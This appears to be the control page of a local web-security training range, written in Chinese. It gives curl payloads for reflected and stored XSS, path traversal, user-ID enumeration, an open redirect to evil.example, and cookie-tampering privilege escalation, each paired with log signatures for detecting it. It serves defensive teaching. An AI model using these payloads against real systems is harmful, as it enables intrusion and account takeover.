本页是靶场控制台。漏洞接口只存在于配套的本地靶场服务器上(node server/server.js,默认 http://127.0.0.1:8420),
静态托管(GitHub Pages / Cloudflare Pages)上没有这些接口。
演练方法:先自己攻击下面的接口,再打开服务器控制台 / server/logs/access.log,对照每个模块的"检测线索"在日志里找到自己的攻击痕迹。
搜索词直接回显进 HTML,未转义。
curl "http://127.0.0.1:8420/lab/xss?q=<script>alert(1)</script>"
q= 参数出现 %3Cscript、alert(、onerror=、%3Cimg 等编码/明文注入特征。文件下载接口用 path.join(root, name) 拼接且未校验边界。
curl "http://127.0.0.1:8420/lab/file?name=../../server.js"
..%2F、..\\、etc%2Fpasswd 等穿越特征;同一 IP 短时间大量 404/500 后紧跟 200。用户资料接口不校验调用者身份,可横向枚举任意用户。
curl "http://127.0.0.1:8420/lab/user?id=1"
/lab/user 的 id=1,2,3,4… 连续递增请求(枚举速率远超人类)。跳转地址完全由参数控制,可用于钓鱼跳板。
curl -i "http://127.0.0.1:8420/lab/go?url=https://evil.example"
/lab/go?url= 后跟非本站域名(http%3A%2F%2F 且非白名单)。会话令牌是 md5(用户名+固定盐) 可离线伪造;/lab/admin 只检查客户端 Cookie role,改 Cookie 即提权。
curl -i -X POST -d "user=bob&pass=bob123" http://127.0.0.1:8420/lab/login # 拿到 Cookie 后改 role=user → role=admin 再访问 /lab/admin
/lab/login 的高频 POST(爆破);/lab/admin 的访问来自非 admin 会话;同 IP 多账号交替登录。留言不转义存入内存,所有后续访客都会执行(重启即清空,无真实危害)。
curl -X POST -d "text=<script>alert(1)</script>" http://127.0.0.1:8420/lab/comment
/lab/comment 的 POST body 含 %3Cscript / onerror;随后大量 GET /lab/comment(受害者被引爆)。靶场服务器对 /roms/ 目录做 Referer 校验:外站引用返回 403 并在日志标记 [HOTLINK]。
curl -i -H "Referer: https://evil.example/" "http://127.0.0.1:8420/roms/test.nes" # 403 curl -i "http://127.0.0.1:8420/roms/test.nes" # 空 Referer 按配置放行
[HOTLINK] 标记集中出现 = 你的资源被人盗链。⚠️ 本靶场只允许在 127.0.0.1 或你完全拥有的服务器上运行。所有数据存于内存,重启即清空;不含任何出站请求,不会被用作攻击跳板。请勿将其部署到公网不加防护。